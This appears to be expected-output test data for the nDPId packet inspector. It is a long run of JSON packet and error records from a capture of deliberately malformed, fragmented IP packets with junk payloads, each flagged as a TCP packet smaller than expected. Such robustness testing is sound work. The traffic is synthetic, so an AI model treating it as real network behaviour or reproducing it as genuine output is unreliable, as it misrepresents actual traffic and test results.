-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129332} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129344} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":2530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129352} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129359} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129369} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129374} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129386} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129397} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129417} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129434} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129485} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129493} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":2542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129515} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129523} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129538} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129550} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129562} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129575} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129586} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129598} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129613} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129625} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":2554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129637} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129649} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129703} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129711} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129718} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129725} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129733} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129741} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129757} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129766} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129775} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129789} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129804} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129811} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":2571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027129094,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027129823} 